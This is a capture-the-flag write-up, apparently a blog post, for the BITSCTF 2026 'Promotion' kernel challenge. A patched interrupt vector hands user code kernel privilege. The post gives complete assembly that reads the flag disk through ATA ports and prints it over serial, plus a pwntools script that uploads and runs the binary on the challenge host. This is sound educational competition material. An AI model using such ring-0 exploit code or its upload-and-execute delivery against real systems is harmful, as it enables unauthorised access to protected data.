433 words
2 minutes
BITSCTF 2026 - Promotion - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}

Challenge Description#

Given promotion_for_players.zip with bzImage, rootfs.cpio.gz, run.sh, diff.txt. Remote: nc 20.193.149.152 1337

From run.sh: flag attached as block device via -hda /challenge/flag.txt

Analysis#

Kernel patch in diff.txt introduces interrupt vector 0x81:

pushq %rax
movq %cs, %rax
movq %rax, 16(%rsp)
xorq %rax, %rax
movq %rax, 40(%rsp)
popq %rax
iretq

This intentionally corrupts iret-frame fields. When userland executes int $0x81, we get kernel-level control.

Exploitation#

  1. Trigger int $0x81
  2. Immediately disable interrupts (cli) to keep execution stable
  3. Perform ATA PIO read of LBA0 from primary disk via I/O ports (command/status: 0x1f7, data: 0x1f0)
  4. Print bytes to serial COM1 (0x3f8)

File used: exploit_ring0.S

.global _start
.section .text

_start:
    int $0x81
    cli

wait_bsy:
    mov $0x1f7, %dx
    inb %dx, %al
    test $0x80, %al
    jnz wait_bsy

    mov $0xe0, %al
    mov $0x1f6, %dx
    outb %al, %dx

    mov $1, %al
    mov $0x1f2, %dx
    outb %al, %dx

    xor %al, %al
    mov $0x1f3, %dx
    outb %al, %dx
    mov $0x1f4, %dx
    outb %al, %dx
    mov $0x1f5, %dx
    outb %al, %dx

    mov $0x20, %al
    mov $0x1f7, %dx
    outb %al, %dx

wait_drq:
    mov $0x1f7, %dx
    inb %dx, %al
    test $0x08, %al
    jz wait_drq

    mov $256, %ecx

read_loop:
    mov $0x1f0, %dx
    inw %dx, %ax

    mov %al, %bl
    cmp $0, %bl
    je done
    cmp $0x0a, %bl
    je done
    cmp $0x0d, %bl
    je done
    cmp $0x20, %bl
    jb low_dot
    cmp $0x7e, %bl
    ja low_dot
    jmp low_send
low_dot:
    mov $'.', %bl
low_send:
wait_tx1:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx1
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

    mov %ah, %bl
    cmp $0, %bl
    je done
    cmp $0x0a, %bl
    je done
    cmp $0x0d, %bl
    je done
    cmp $0x20, %bl
    jb high_dot
    cmp $0x7e, %bl
    ja high_dot
    jmp high_send
high_dot:
    mov $'.', %bl
high_send:
wait_tx2:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx2
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

    loop read_loop

done:
    mov $'\n', %bl
wait_tx3:
    mov $0x3fd, %dx
    inb %dx, %al
    test $0x20, %al
    jz wait_tx3
    mov %bl, %al
    mov $0x3f8, %dx
    outb %al, %dx

hang:
    hlt
    jmp hang

Compile:

gcc -nostdlib -static -s -o exploit_ring0 exploit_ring0.S

Upload and execute via base64:

#!/usr/bin/env python3
from pwn import *
import base64
import textwrap

HOST, PORT = "20.193.149.152", 1337
BIN_PATH = "./exploit_ring0"

def main():
    payload_b64 = base64.b64encode(open(BIN_PATH, "rb").read()).decode()
    chunks = textwrap.wrap(payload_b64, 76)

    io = remote(HOST, PORT, timeout=10)

    boot = b""
    while b"~ $" not in boot and b"/ $" not in boot:
        d = io.recv(timeout=0.5)
        if d:
            boot += d

    io.sendline(b"cat >/tmp/e.b64 <<'EOF'")
    for line in chunks:
        io.sendline(line.encode())
    io.sendline(b"EOF")

    io.sendline(b"base64 -d /tmp/e.b64 >/tmp/e")
    io.sendline(b"chmod +x /tmp/e")
    io.sendline(b"/tmp/e")

    out = b""
    for _ in range(300):
        d = io.recv(timeout=0.2)
        if d:
            out += d
            if b"}" in out:
                break

    print(out.decode("latin1", errors="ignore"))
    io.close()


if __name__ == "__main__":
    main()

Flag:

BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}
BITSCTF 2026 - Promotion - Binary Exploitation Writeup
https://blog.rei.my.id/posts/43/bitsctf-2026-promotion-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-22
License
CC BY-NC-SA 4.0